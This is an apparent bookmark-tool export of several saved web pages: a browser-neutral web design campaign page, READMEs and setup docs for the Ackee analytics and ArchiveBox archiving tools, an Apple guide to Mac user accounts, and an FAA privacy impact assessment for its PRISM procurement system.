We are independently owned and the opinions expressed here are our own.

Top

Add Tags ?

AddDeleteNo

close

close

Viewable with Any Browser: Campaign

Viewable with Any Browser: Campaign
Last Modified: January 23, 2011

Campaign Design Guide Graphics & Slogans FAQ Example Letters Feedback Links







Note: This page was written by Cari D. Burstein to express the sentiment behind the "Viewable With Any Browser" campaign. If you were referred here from a web site bearing the "Viewable With Any Browser" themed graphic or text, it means that the site author agrees with the campaign and is participating in the effort to discourage browser specific web design. Read below for more information on what it's all about, and to see if you'd like to participate.

"Anyone who slaps a 'this page is best viewed with Browser X' label on a Web page appears to be yearning for the bad old days, before the Web, when you had very little chance of reading a document written on another computer, another word processor, or another network."
  -- Tim Berners-Lee in Technology Review, July 1996

If you've come to this page, you're probably curious about the "Viewable With Any Browser" themed button on it. Here's my explanation. I am very unhappy with the current trend towards web sites designing only for specific browsers and ignoring others. It's extremely annoying to me to visit a web site and to find that I've been rejected until I come back with Netscape or Internet Explorer. It's also annoying to visit web sites that allow you in with any browser, but rely heavily on tags only supported in a few popular browsers, or leave out support for text browsers.

I would like to reverse this trend. I know I can't change the web by myself, but every little bit counts, and this is my vote for a platform independent, non-browser specific World Wide Web. So, I have displayed the "Viewable With Any Browser" button to emphasize that I try to create my web sites to be viewable in all browsers, and totally functional. Some pages may look better in some browsers than others, but they should all be readable by any browser. I try to only use browser specific tags in appropriate manners, and only if there's a good reason for their use, and in the cases in which I've used tags which only some browsers support, such as image maps, frames, Java, etc., I have done my best to utilize the graceful degradability options available in HTML or provided alternatives for browsers that don't support them. Please let me know if you come across anything on my web pages that doesn't work in your browser (be specific about what browser you're using and what didn't work) and I'll try to fix it.

I invite anyone who wants to join in this effort to go ahead and copy any of the many graphics provided by participants in the campaign, which are available on the Any Browser Graphics page. If you feel like creating other graphics for the campaign, please do! (and let me know if I can provide that graphic for others to use). I would prefer if you linked the graphic to this page, so that people know what it's all about, or create your own page about this campaign, but if you don't want to that's cool with me too.

Here is a sample bit of html you can use (with appropriate modifications) if you like:

Viewable With Any Browser

Note: You should choose one of the graphics from the Any Browser Graphics page and copy it to your web site directory, and modify the above code to match your setup and the graphic you've chosen. Don't link directly to the graphic on my server if you can help it, because it will slow the loading of your page, create more stress on my server, and if I have to move the file, you could find that your link stops working suddenly.

If you would rather not display a graphic on your site, but would like to let people know that your site is designed to work with any browser, you might want to just add a text link somewhere on your site that says something along the lines of "Viewable With Your Favorite Browser" or "Best Viewed With Any Browser" (or whatever you want to say that reflects your approach). It would be nice if you would link this text to this page or if you would create your own page describing the campaign so that people who want to know about it can find more information, and perhaps design their own sites to be viewable by everyone. You may want to visit the Any Browser Graphics page to look for other campaign slogans that have been provided by campaign participants.

There are two main reasons to put the graphic and/or text on your site if you design web sites that are viewable in any browser:

  • To let your visitors know that you are making an effort to make your site usable by everyone.
  • To encourage other people to design their sites so they are viewable in all browsers.

I have created an Accessible Site Design Guide which discusses issues in web page accessibility and how to make your page as accessible as possible. This is not an HTML guide, but it will help you know what the accessibility trouble spots are in web pages, and provide advice on how to deal with them. Be sure also to consult the sites listed in the links section for additional information.

If you come across sites which aren't accessible and you would like to encourage them to make them viewable by any browser, it is a good idea to send them a message. There are some example letters available on this site.

I hope you'll join in the effort to discourage browser specific web design and help protect freedom of choice for all web users.

Let me know if you have any questions, comments, or suggestions.

Top | Design Guide | Graphics & Slogans | FAQ | Example Letters | Feedback | Links

Links: cleaners london | Faucets | fortstjohn.com

Add Tags ?

AddDeleteNo

close

close

Ackee/README.md at master · electerious/Ackee

       Ackee/README.md at master · electerious/Ackee                                       



Skip to content

![](https://github.githubassets.com/images/search-key-slash.svg)
  • In this repository All GitHub ↵

    Jump to ↵

  • No suggested jump to results

  • In this repository All GitHub ↵

    Jump to ↵

  • In this repository All GitHub ↵

    Jump to ↵

Dashboard Pull requests Issues

Marketplace

Explore
tg-z

Sign out

electerious / Ackee

New repository Import repository New gist New organization

This repository

New issue

Signed in as tg-z

lost

Edit status

Could not update your status, please try again.

80 remaining

Suggestions:

🌴

On vacation

🤒

Out sick

🏠

Working from home

🎯

Focusing

Busy

When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability.

Clear status

Never

  • Never

    Keep this status until you clear your status or edit your status.

  • in 30 minutes

  • in 1 hour

  • in 4 hours

  • today

  • this week

Set status Clear status

Your profile Your repositories Your projects Your stars Your gists

Help Settings

Sign out

set Restriction

  • done In Queue

  • bookmark Bookmarked

  •     Watch   
    

    Notifications

    Not watching Be notified only when participating or @mentioned. Watch

    Releases only Be notified of new releases, and when participating or @mentioned. Unwatch releases

    Watching Be notified of all conversations. Unwatch

    Ignoring Never be notified. Stop ignoring

    20

  •   Unstar  [768](/electerious/Ackee/stargazers) 
    
      Star  [768](/electerious/Ackee/stargazers) 
    
  •  Fork
    

    32

electerious/Ackee

Code Issues 8 Pull requests 0 Actions Security Insights

Code Issues 8 Pull requests 0 Security Pulse Community

Permalink

Branch: master

Find file Copy path

Ackee/README.md

Find file Copy path


electerious Adjust text to include FAQ 7022fe4 2 days ago

3 contributors

Users who have contributed to this file



127 lines (78 sloc) 3.98 KB

Raw Blame History

Ackee





Self-hosted, Node.js based analytics tool for those who care about privacy. Ackee runs on your own server, analyses the traffic of your websites and provides useful statistics in a minimal interface.


Contents

Get started

Get Ackee up and running…

And configure Ackee and your server correctly…

Take a look at the FAQ if you have any questions left.

Introduction

What is Ackee?

Ackee is a web app you install on your server to analyse the traffic of your sites.

Why Ackee?

Ackee is lightweight, easy to install and has a good balance between analytics and privacy. It features an API and web interface and tracks only what's necessary.

It's is the right tool for you if you care about privacy and don't need a full-features marketing analytics platform like Google Analytics or Matomo.

Benefits of Ackee?

  • Self-hosted
  • Lightweight and easy to install
  • Modern and fast architecture
  • Beautiful and focused interface
  • No unique user tracking and no cookies
  • Fully documented API

How does it work?

You run the Ackee server which then waits for requests through its API.

The API of Ackee accepts information about your visitors sent to it using ackee-tracker. It's a small script you add to your sites, similar to the JavaScript tracking snippet provided by Google Analytics.

The interface of Ackee lets you view and analyse your tracked information.

Documentation

Requirements

Ackee depends on...

Make sure to install and update all dependencies before you setup Ackee.

API

Options

The following environment variables are used by Ackee. You can also create a .env file in the root of the project to store all variables in one file.

Database

MongoDB connection URI. See the MongoDB connection string spec for more detail.

MONGODB=mongodb://localhost:27017/ackee

Port

The port Ackee should listen on. Defaults to 3000.

PORT=3000

Username and password

Username and password. Both are required to generate a new token.

USERNAME=username
PASSWORD=password

TTL

Specifies how long a generated token is valid. Defaults to 3600000 (1 day).

TTL=3600000

Environment

Set the environment to development to see additional details in the console and to disable caching.

NODE_ENV=development

More

More documentation and guides are located in the /docs folder. Also take a look at the FAQ if you have any questions left.

Go

You can’t perform that action at this time.

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.

navigate_next

close

_close_Close

_open_in_new_Open in new tab

Add Tags ?

articles

blockstack

bookmarks

dapp

github

interesting

learn

music

paste

swedish

AddDeleteNo

close

close

Add Tags ?

AddDeleteNo

close

close

Set up users, guests, and groups on Mac - Apple Support

Set up users, guests, and groups on Mac - Apple Support set Restriction

Quick Links

5 Quick Links

macOS User Guide

Open MenuClose Menu

Select version:

macOS Mojave 10.14macOS High Sierra

Modifying this control will update this page automatically

Table of Contents

Set up users, guests, and groups on Mac

If your Mac has multiple users, you should set up an account for each person so each can personalize settings and options without affecting the others. You can let occasional users log in as guests without access to other users’ files or settings. You can also create groups. You must be an administrator of your Mac to perform these tasks.

Add a user

  1. On your Mac, choose Apple menu 

     System Preferences, then click Users & Groups.

    Open Users & Groups preferences for me

  2. Click the lock icon
    to unlock it, then enter an administrator name and password.

  3. Click the Add button
    below the list of users.

  4. Click the New Account pop-up menu, then choose a type of user.

    • Administrator: An administrator can add and manage other users, install apps, and change settings. The new user you create when you first set up your Mac is an administrator. Your Mac can have multiple administrators. You can create new ones, and convert standard users to administrators. Don’t set up automatic login for an administrator. If you do, someone could simply restart your Mac and gain access with administrator privileges. To keep your Mac secure, don’t share administrator names and passwords.

    • Standard: Standard users are set up by an administrator. Standard users can install apps and change their own settings, but can’t add other users or change other users’ settings.

    • Managed with Parental Controls: Users who are managed with parental controls can access only the apps and content specified by the administrator managing the user. The administrator can restrict the user’s contacts and website access, and place time limits on computer use.

    • Sharing Only: Sharing-only users can access shared files remotely, but can’t log in to or change settings on the computer. To give the user permission to access your shared files or screen, you may need to change settings in the File Sharing, Screen Sharing, or Remote Management pane of Sharing preferences. See Set up file sharing and Share the screen of another Mac.

    For more information about the options for each type of user, click the Help button in the lower-left corner of the dialog.

  5. Enter a full name for the new user. An account name is generated automatically. To use a different account name, enter it now—you can’t change it later.

  6. Enter a password for the user, then enter it again to verify. Enter a password hint to help the user remember their password.

  7. Click Create User.

  8. Depending on the type of user you create, you can also do any of the following:

    • For an administrator, select “Allow user to administer this computer.”

    • For a child or other managed user, select “Enable parental controls.” Click Open Parental Controls, then set up restrictions for the user. See Set up parental controls.

    • Use Sharing preferences to specify whether the user can share your files and share your screen.

If your Mac has Touch ID, a new user can add a fingerprint after logging in to the Mac. The user can then use Touch ID to unlock the Mac and password-protected items, and purchase items from the iTunes Store, App Store, and Apple Books using their Apple ID. See Use Touch ID.

Create a group

A group allows multiple users to have the same access privileges. For example, you can grant a group specific access privileges for a folder or a file, and all members of the group have access. You can also assign a group specific access privileges for each of your shared folders.

  1. On your Mac, choose Apple menu 

     System Preferences, then click Users & Groups.

    Open Users & Groups preferences for me

  2. Click the lock icon
    to unlock it, then enter an administrator name and password.

  3. Click the Add button
    below the list of users.

  4. Click the New Account pop-up menu, then choose Group.

  5. Give the group a name, then click Create Group.

  6. Select each user and group you want to add to the new group.

Use Sharing preferences to specify whether the group members can share your files and share your screen.

Convert a standard or managed user to an administrator

  1. On your Mac, choose Apple menu 

     System Preferences, then click Users & Groups.

    Open Users & Groups preferences for me

  2. Click the lock icon
    to unlock it, then enter an administrator name and password.

  3. Select a standard user or managed user in the list of users, then select “Allow user to administer this computer.”

Let occasional users log in as guests

You can let other people use your Mac temporarily as guest users without adding them as individual users. You can use parental controls to set restrictions so guests can access only items that you want to share.

  • Guests don’t need a password to log in.

  • Guests can’t change user or computer settings.

  • Guests can’t log in remotely when remote login is turned on in Sharing preferences.

Files created by a guest are stored in a temporary folder, but that folder and its contents are deleted when the guest logs out.

Guest access works with the Find My Mac feature of iCloud to help you find your Mac if you lose it. You can locate your Mac if someone finds it, logs in as a guest, and then uses Safari to access the Internet. See Use Find My Mac to locate a missing Mac.

Note: If FileVault is turned on, guests can only use Safari and can’t access your encrypted disk or create files.

  1. On your Mac, choose Apple menu 

     System Preferences, then click Users & Groups.

    Open Users & Groups preferences for me

  2. Click the lock icon
    to unlock it, then enter an administrator name and password.

  3. Select Guest User in the list of users.

  4. Select “Allow guests to log in to this computer.”

  5. If you like, select “Enable parental controls,” then click Open Parental Controls. See Set up parental controls.

  6. To let guests use your shared folders from another computer on the network, select “Allow guest users to connect to shared folders.”

Customize the login experience

If you are an administrator, you can specify how the login window looks to all the other users.

  1. On your Mac, choose Apple menu 

     System Preferences, click Users & Groups, then click Login Options.

    Open the Login Options pane for me

  2. Click the lock icon
    to unlock it, then enter an administrator name and password.

  3. Click the “Automatic login” pop-up menu, then choose a user, or choose Off.

    If you choose a user, then whenever the Mac starts up, that user is automatically logged in. If you choose Off, then at startup the Mac opens a login window showing all the users. Automatic login takes effect the next time you restart the Mac.

    Note: Automatic login allows anyone to access your Mac simply by restarting it. If automatic login is enabled, make sure your Mac doesn’t automatically log in an administrator. When FileVault is turned on, automatic login is disabled.

  4. Select the options you want. If you have any questions, click the Help button
    for detailed information.

To permit new users to access your shared files or screen, you may need to change settings in the File Sharing, Screen Sharing, or Remote Management pane of Sharing preferences. See Set up file sharing and Share the screen of another Mac.

Choose Apple menu > System Preferences, then click Sharing.

Open Sharing preferences for me

See alsoIf you forgot your user or account name on MacChange your password, user picture, or automatic login items on MacDelete a user or group on MacCreate an Apple IDApple Support article: Frequently asked questions about Apple ID

Helpful?

Yes No

Text Area

Character limit:250

Please don’t include any personal information in your comment.

Maximum character limit is 250.

Submit

Thanks for your feedback.

Apple

  1. Support
  2. macOS User Guide
  3. Set up users, guests, and groups on Mac


United States

Copyright © 2019 Apple Inc. All rights reserved.

Privacy Policy Terms of Use Sales and Refunds Site Map

Add Tags ?

AddDeleteNo

close

close

PIA - PRISM | US Department of Transportation

                         PIA - PRISM | US Department of Transportation               set Restriction 

usdot

Search form

GO

toggle main menu



Main menu

Policy Document

[

Privacy

](# "toggle sub menu")

You are here

HomeResourcesFor IndividualsPrivacy

PIA - PRISM

DEPARTMENT OF TRANSPORTATION
Federal Aviation Administration

PRIVACY IMPACT ASSESSMENT

PRISM

April 10, 2010

System Overview

The Federal Aviation Administration (FAA), within the Department of Transportation (DOT), has been given the responsibility to carry out safety programs to ensure the safest, most efficient aerospace system in the world. The FAA is responsible for:

  • Regulating civil aviation to promote safety;
  • Encouraging and developing civil aeronautics, including new aviation technology;
  • Developing and operating a system of air traffic control and navigation for both civil and military aircraft;
  • Developing and carrying out programs to control aircraft noise and other environmental effects of civil aviation; and
  • Regulating U.S. commercial space transportation.

One of the programs that help FAA fulfill this mission is PRISM, which supports multiple purchasing sites, electronic routing and approval, requisitioning, electronic notifications, contract management, and post award processing and closeout. PRISM system architecture allows it to integrate and communicate seamlessly with existing systems such as financial or inventory. PRISM software is directly integrated with DOT's core accounting system, DELPHI. Financial data is exchanged with the Logistical Information System (LIS) server in Kansas City. The data exchanged involves hundreds of application program interface (API) data elements, attributes and associated mappings.

Personally Identifiable Information (PII) and PRISM

The PRISM system contains both personally identifiable information (PII) and non-personally identifiable information pertaining to vendors, which are registered within the Central Contractor Registration (CCR system), and DOT's Core Accounting System, DEPLHI. PII is not collected directly by PRISM from vendors and neither CCR nor DELPHI is designed to collect personally identifying information from individuals who are not acting in their entrepreneurial capacities. PII retained within in the PRISM system may include the following PII, where a vendor uses PII in identifying himself or herself in an entrepreneurial capacity:

  • vendor's name;
  • date of birth;
  • social security number;
  • mailing address; and
  • financial account information.

An individual's PII enters the PRISM system when a vendor submits a proposal or invoice, or when FAA enters a relationship with an individual or organization that requires an accounting relationship through the procurement of goods or services. Typically, the information exists in DELPHI and is made available to PRISM through electronic transfer. 

Why PRISM Collects Information

PRISM collects information in order to fulfill basic accounting functions relating to the requisition of goods or services. The PRISM system collects PII only when an individual requires an accounting relationship with FAA.

How PRISM Uses Information

Users of PRISM are involved with the procurement of goods and services as well as the maintenance and security of the supporting information needed to accomplish these tasks for FAA. Included within a wide variety of groups who use PRISM are user organizations with staff functioning as Contracting Officer's Technical Representatives (COTRs); requisitioners of goods and services and their approvers; funds certifiers who ensure that the monies are available and are accurate; the actual Contracting Officer (CO) for each purchase made through PRISM; System Administrators (SAs); and site security officers who ensure that PRISM operates correctly and security requirements are met.

How PRISM Shares Information

PII contained in PRISM is not shared with individuals, organizations, and entities. PII contained within PRISM already exists within the systems for which a data exchange exists.   

Three interfaces have been identified that will send, receive or exchange data with PRISM. They are the Logistical Information System (LIS), Federal Procurement Data System Next Generation (FPDS-NG), and DELPHI. The PRISM system communicates with DELPHI through the Oracle Compusearch Interface (OCI).   

The PRISM system both delivers to and receives data through the OCI from DELPHI. The exchange of procurement information between PRISM and LIS takes place over a LIS interface. 
How PRISM Provides Notice and Consent

Entry of PII into Delphi, and subsequently PRISM, is a necessary condition of any employment relationship, payment, or other financial transaction with FAA. The users of PRISM are presented with an electronic form detailing the Rules of Behavior established by PRISM operators to alert users of notice and consent to monitoring their actions prior to login.

How PRISM Ensures Data Accuracy

Much of the information regarding an individual is provided by that individual through the CCR. In some cases a DELPHI user may enter the information. Each of these systems has mechanisms, and the responsibility, to ensure data accuracy.   

Under the provisions of the Privacy Act, individuals may request searches of the PRISM file to determine if any records have been added that may pertain to them. This is accomplished by sending a written request directly to the PRISM program office that contains name, authentication information, and information regarding the request. Only those individuals that can change CCR information are permitted to view that sensitive CCR information in PRISM.   

FAA does not allow access through either the Internet or Intranet to the information stored in PRISM.

How PRISM Provides Redress

Under the provisions of the Privacy Act, individuals may request searches of the PRISM files to determine if any records have been added that may pertain to them.   

Notification procedure:  Individuals wishing to know if their records appear in this system may inquire in person or in writing to the appropriate system manager. Included in the request must be the following:

  • Name
  • Mailing address
  • Phone number and/or email address
  • A description of the records sought, and if possible, the location of the records

Contesting record procedures:  Individuals wanting to contest information about themselves that is contained in this system should make their requests in writing, detailing the reasons for why the records should be corrected. Requests should be submitted to the attention of FAA official responsible for the record, at the address appearing in this notice.

Federal Aviation Administration
Privacy Office
Attention: Carla Mauney
800 Independence Ave. SW
Washington DC, 20591

For questions relating to privacy go to FAA Privacy Policy: http://www.faa.gov/privacy/ 

How PRISM Secures Information

PRISM takes appropriate security measures to safeguard PII and other sensitive date. The PRISM application is housed on the agency's dedicated central procurement server. PRISM has one parent site named FAA and 12 child sites named by the individual region, center, or headquarters. There is no hardware or equipment for the PRISM system at any of the child sites. Many system configuration items, such as document numbering and approval authority, are defined at the site level.   

Because PRISM users can access the PRISM system through a Web browser, access is only via FAA intranet and operates under the Secure Socket Layer (SSL) encryption technology.   

Personnel with physical access have all undergone and passed FAA background checks.   

In addition, access to PRISM PII is limited according to job function, through system-defined security groups. PRISM access control privileges are set according to the following roles:

  • PRISM User
  • Site Administrator
  • System Administrator

The following matrix describes the levels of access and safeguards around each of these roles as they pertain to PII. 

PII

Role Access Safeguards
PRISM User
  • Submit new requisition records
  • Change existing requisition information
  • Approve requisitions
  • Review requisitions and awards
  • Funds availability research

|

  • Requires all users to have a User ID and Password.
  • Approval passwords are separate from login passwords.
  • Assigned to Security Groups to limit functionality by type (e.g., Contracting Officer, Approving Official)
  • Users automatically inactivated based upon agency-defined rules.
  • Users automatically inactivated after a prescribed number of failed login attempts.
  • Passwords expired after a user-defined time period.
  • Prescribed password parameters (e.g., length, character type).
  • Password data is encrypted.
  • Audit log of successful and failed login attempts; log includes the originating IP address.

|
| Site Administrator |

  • Submit new users and assigns security groups
  • Change existing users and security group association
  • Access and change own profile information
  • Access and change User profile information

|

  • All User-set user name and password restrictions applicable
  • Account set-up approved by System Administrator
  • Security Group Set-up

|
| System Administrator |

  • Search and view user names and profile information
  • Grant User and Site Administrator accounts, reset account passwords, view access log information
  • Delete profiles (without viewing full profile information)

|

  • All User-set user name and password restrictions applicable
  • System level configuration including security groups

|

In addition to the requirements of the Federal Information Security Management Act of 2002 (FISMA), a Security Certification and Accreditation (C&A) was completed for PRISM. The C&A process is an audit of policies, procedures, controls, and contingency planning, required to be completed for all federal government IT systems every three years. All relevant policies, procedures and guidelines, including National Institute of Standards and Technology (NIST) Special Publication 800-53, have been followed to ensure the security of the system and the information it contains.

How Long PRISM Retains Information

Data in PRISM is maintained for Archived system audit logs and backup data is stored for a minimum of two (2) years.

System of Records

PRISM is a system of records subject to the Privacy Act because it is searched by Vendor Number and Taxpayer ID Number, which could possibly be an individual's social security number. The Privacy Act System of Records Notice is: DOT/ALL 7 Departmental Accounting and Financial Information System, DAFIS.

Updated: Thursday, March 19, 2015

Contact Us


Claire Barrett

Chief Privacy Officer

1200 New Jersey Ave, SE

Washington, DC 20590

United States

[email protected]

Business Hours:
8:30am-5:00pm ET, M-F

Tags

Share

U.S. DEPARTMENT OF TRANSPORTATION

1200 NEW JERSEY AVENUE, SE

WASHINGTON, DC 20590

855-368-4200




Subscribe to Email Updates

About Us

Operating Administrations

Areas of Focus

Our Activities

Policies, Rights, Legal

Enter the terms you wish to search for.

GO

Submit Feedback >

Get to know us

Operating Administration Websites

Resources for...

Resources about...

Special Topic Websites

Helpful links on...

Add Tags ?

AddDeleteNo

close

close

ArchiveBox | 🗃 The open source self-hosted web archive. Takes browser history/bookmarks/Pocket/Pinboard/etc., saves HTML, JS, PDFs, media, and more…

   ArchiveBox | 🗃 The open source self-hosted web archive. Takes browser history/bookmarks/Pocket/Pinboard/etc., saves HTML, JS, PDFs, media, and more…           set Restriction  [View on GitHub](https://github.com/pirate/ArchiveBox)

ArchiveBox

🗃 The open source self-hosted web archive. Takes browser history/bookmarks/Pocket/Pinboard/etc., saves HTML, JS, PDFs, media, and more...

ArchiveBox
The open-source self-hosted web archive.

▶️ Quickstart | Demo | Github | Documentation | Info & Motivation | Community | Roadmap

"Your own personal internet archive" (网站存档 / 爬虫)








💥 Attention: Big API changes are coming soon (including a proper config file format and pip install archivebox)! Check out v0.4 and help us test it! 💥

Note: There are some important security design issues that need to be fixed before v0.4 can be pushed, all help is appreciated!
(This project is not abandoned, it's my primary side-project for the forseeable future, my day job is very busy right now.)
See the v0.4 release PR for more information.


ArchiveBox takes a list of website URLs you want to archive, and creates a local, static, browsable HTML clone of the content from those websites (it saves HTML, JS, media files, PDFs, images and more).

You can use it to preserve access to websites you care about by storing them locally offline. ArchiveBox imports lists of URLs, renders the pages in a headless, autheticated, user-scriptable browser, and then archives the content in multiple redundant common formats (HTML, PDF, PNG, WARC) that will last long after the originals disappear off the internet. It automatically extracts assets and media from pages and saves them in easily-accessible folders, with out-of-the-box support for extracting git repositories, audio, video, subtitles, images, PDFs, and more.

How does it work?

echo 'http://example.com' | ./archive

After installing the dependencies, just pipe some new links into the ./archive command to start your archive.

ArchiveBox is written in Python 3.5 and uses wget, Chrome headless, youtube-dl, pywb, and other common unix tools to save each page you add in multiple redundant formats. It doesn’t require a constantly running server or backend, just open the generated output/index.html in a browser to view the archive. It can import and export links as JSON (among other formats), so it’s easy to script or hook up to other APIs. If you run it on a schedule and import from browser history or bookmarks regularly, you can sleep soundly knowing that the slice of the internet you care about will be automatically preserved in multiple, durable long-term formats that will be accessible for decades (or longer).



Demo | Usage | Screenshots
. . . . . . . . . . . . . . . . . . . . . . . . . . . .

Quickstart

ArchiveBox has 3 main dependencies beyond python3: wget, chromium, and youtube-dl. To get started, you can install them manually using your system’s package manager, use the automated helper script, or use the official Docker container. All three dependencies are optional if disabled in settings.

# 1. Install dependencies (use apt on ubuntu, brew on mac, or pkg on BSD)
apt install python3 python3-pip git curl wget youtube-dl chromium-browser

# 2. Download ArchiveBox
git clone https://github.com/pirate/ArchiveBox.git && cd ArchiveBox

# 3. Add your first links to your archive
echo 'https://example.com' | ./archive                  # pass URLs to archive via stdin

./archive https://getpocket.com/users/example/feed/all  # or import an RSS/JSON/XML/TXT feed

Once you’ve added your first links, open output/index.html in a browser to view the archive. DEMO: archive.sweeting.me
For more information, see the full Quickstart guide, Usage, and Configuration docs.

(pip install archivebox will be available in the near future, follow our Roadmap for progress)


Overview

Because modern websites are complicated and often rely on dynamic content, ArchiveBox archives the sites in several different formats beyond what public archiving services like Archive.org and Archive.is are capable of saving. Using multiple methods and the market-dominant browser to execute JS ensures we can save even the most complex, finicky websites in at least a few high-quality, long-term data formats.

ArchiveBox imports a list of URLs from stdin, remote URL, or file, then adds the pages to a local archive folder using wget to create a browsable HTML clone, youtube-dl to extract media, and a full instance of Chrome headless for PDF, Screenshot, and DOM dumps, and more…

Running ./archive adds only new, unique links into output/ on each run. Because it will ignore duplicates and only archive each link the first time you add it, you can schedule it to run on a timer and re-import all your feeds multiple times a day. It will run quickly even if the feeds are large, because it’s only archiving the newest links since the last run. For each link, it runs through all the archive methods. Methods that fail will save None and be automatically retried on the next run, methods that succeed save their output into the data folder and are never retried/overwritten by subsequent runs. Support for saving multiple snapshots of each site over time will be added soon (along with the ability to view diffs of the changes between runs).

All the archived links are stored by date bookmarked in output/archive/<timestamp>, and everything is indexed nicely with JSON & HTML files. The intent is for all the content to be viewable with common software in 50 - 100 years without needing to run ArchiveBox in a VM.

Can import links from many formats:

echo 'http://example.com' | ./archive
./archive ~/Downloads/firefox_bookmarks_export.html
./archive https://example.com/some/rss/feed.xml


  • Browser history or bookmarks exports (Chrome, Firefox, Safari, IE, Opera, and more)

  • RSS, XML, JSON, CSV, SQL, HTML, Markdown, TXT, or any other text-based format

  • Pocket, Pinboard, Instapaper, Shaarli, Delicious, Reddit Saved Posts, Wallabag, Unmark.it, OneTab, and more

See the Usage: CLI page for documentation and examples.

Saves lots of useful stuff for each imported link:

 ls output/archive/<timestamp>/

  • Index: index.html & index.json HTML and JSON index files containing metadata and details
  • Title: title title of the site
  • Favicon: favicon.ico favicon of the site
  • WGET Clone: [example.com/page-name.html](http://example.com/page-name.html "Linkify Plus Plus") wget clone of the site, with .html appended if not present
  • WARC: warc/<timestamp>.gz gzipped WARC of all the resources fetched while archiving
  • PDF: output.pdf Printed PDF of site using headless chrome
  • Screenshot: screenshot.png 1440x900 screenshot of site using headless chrome
  • DOM Dump: output.html DOM Dump of the HTML after rendering using headless chrome
  • URL to Archive.org: archive.org.txt A link to the saved site on archive.org
  • Audio & Video: media/ all audio/video files + playlists, including subtitles & metadata with youtube-dl
  • Source Code: git/ clone of any repository found on github, bitbucket, or gitlab links
  • More coming soon! See the Roadmap

It does everything out-of-the-box by default, but you can disable or tweak individual archive methods via environment variables or config file.

If you’re importing URLs with secret tokens in them (e.g Google Docs, CodiMD notepads, etc), you may want to disable some of these methods to avoid leaking private URLs to 3rd party APIs during the archiving process. See the Security Overview page for more details.

Key Features

Background & Motivation

Vast treasure troves of knowledge are lost every day on the internet to link rot. As a society, we have an imperative to preserve some important parts of that treasure, just like we preserve our books, paintings, and music in physical libraries long after the originals go out of print or fade into obscurity.

Whether it’s to resist censorship by saving articles before they get taken down or edited, or just to save a collection of early 2010’s flash games you love to play, having the tools to archive internet content enables to you save the stuff you care most about before it disappears.

Image from WTF is Link Rot?...

The balance between the permanence and ephemeral nature of content on the internet is part of what makes it beautiful. I don’t think everything should be preserved in an automated fashion, making all content permanent and never removable, but I do think people should be able to decide for themselves and effectively archive specific content that they care about.

Comparison to Other Projects

Check out our community page for an index of web archiving initiatives and projects.


The aim of ArchiveBox is to go beyond what the Wayback Machine and other public archiving services can do, by adding a headless browser to replay sessions accurately, and by automatically extracting all the content in multiple redundant formats that will survive being passed down to historians and archivists through many generations.

User Interface & Intended Purpose

ArchiveBox differentiates itself from similar projects by being a simple, one-shot CLI inferface for users to ingest bulk feeds of URLs over extended periods, as opposed to being a backend service that ingests individual, manually-submitted URLs from a web UI.

An alternative tool pywb allows you to run a browser through an always-running archiving proxy which records the traffic to WARC files. ArchiveBox intends to support this style of live proxy-archiving using pywb in the future, but for now it only ingests lists of links at a time via browser history, bookmarks, RSS, etc.

Private Local Archives vs Centralized Public Archives

Unlike crawler software that starts from a seed URL and works outwards, or public tools like Archive.org designed for users to manually submit links from the public internet, ArchiveBox tries to be a set-and-forget archiver suitable for archiving your entire browsing history, RSS feeds, or bookmarks, including private/authenticated content that you wouldn’t otherwise share with a centralized service (do not do this until v0.4 is released with some security fixes). Also by having each user store their own content locally, we can save much larger portions of everyone’s browsing history than a shared centralized service would be able to handle.

Storage Requirements

Because ArchiveBox is designed to ingest a firehose of browser history and bookmark feeds to a local disk, it can be much more disk-space intensive than a centralized service like the Internet Archive or Archive.today. However, as storage space gets cheaper and compression improves, you should be able to use it continuously over the years without having to delete anything. In my experience, ArchiveBox uses about 5gb per 1000 articles, but your milage may vary depending on which options you have enabled and what types of sites you’re archiving. By default, it archives everything in as many formats as possible, meaning it takes more space than a using a single method, but more content is accurately replayable over extended periods of time. Storage requirements can be reduced by using a compressed/deduplicated filesystem like ZFS/BTRFS, or by setting FETCH_MEDIA=False to skip audio & video files.

Learn more

Whether you want learn which organizations are the big players in the web archiving space, want to find a specific open source tool for your web archiving need, or just want to see where archivists hang out online, our Community Wiki page serves as an index of the broader web archiving community. Check it out to learn about some of the coolest web archiving projects and communities on the web!


Documentation

We use the Github wiki system for documentation.

You can also access the docs locally by looking in the ArchiveBox/docs/ folder.

Getting Started

Reference

More Info


Screenshots





This project is maintained mostly in my spare time with the help from generous contributors.

Contributor Spotlight:











this project by pirate can be found on GitHub

Generated with GitHub Pages using Merlot

Add Tags ?

AddDeleteNo

close

close

Ackee/Get started.md at master · electerious/Ackee

       Ackee/Get started.md at master · electerious/Ackee                                       



Skip to content

![](https://github.githubassets.com/images/search-key-slash.svg)
  • In this repository All GitHub ↵

    Jump to ↵

  • No suggested jump to results

  • In this repository All GitHub ↵

    Jump to ↵

  • In this repository All GitHub ↵

    Jump to ↵

Dashboard Pull requests Issues

Marketplace

Explore
tg-z

Sign out

electerious / Ackee

New repository Import repository New gist New organization

This repository

New issue

Signed in as tg-z

lost

Edit status

Could not update your status, please try again.

80 remaining

Suggestions:

🌴

On vacation

🤒

Out sick

🏠

Working from home

🎯

Focusing

Busy

When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability.

Clear status

Never

  • Never

    Keep this status until you clear your status or edit your status.

  • in 30 minutes

  • in 1 hour

  • in 4 hours

  • today

  • this week

Set status Clear status

Your profile Your repositories Your projects Your stars Your gists

Help Settings

Sign out

  • done In Queue

  • bookmark Bookmarked

  •     Watch   
    

    Notifications

    Not watching Be notified only when participating or @mentioned. Watch

    Releases only Be notified of new releases, and when participating or @mentioned. Unwatch releases

    Watching Be notified of all conversations. Unwatch

    Ignoring Never be notified. Stop ignoring

    20

  •   Unstar  [768](/electerious/Ackee/stargazers) 
    
      Star  [768](/electerious/Ackee/stargazers) 
    
  •  Fork
    

    32

electerious/Ackee

Code Issues 8 Pull requests 0 Actions Security Insights

Code Issues 8 Pull requests 0 Security Pulse Community

Permalink

Branch: master

Find file Copy path

Ackee/docs/Get started.md

Find file Copy path


electerious Require current LTS Node version b4dadbb 16 days ago

1 contributor

Users who have contributed to this file

127 lines (79 sloc) 4.15 KB

Raw Blame History

Get started

Requirements

Ackee dependents on …

Make sure to install and update all dependencies before you fork and setup Ackee.

Setup

With Docker Compose

1. Create the configuration

Create a .env file in the root of this project to store all environment variables in one file.

USERNAME=username
PASSWORD=password

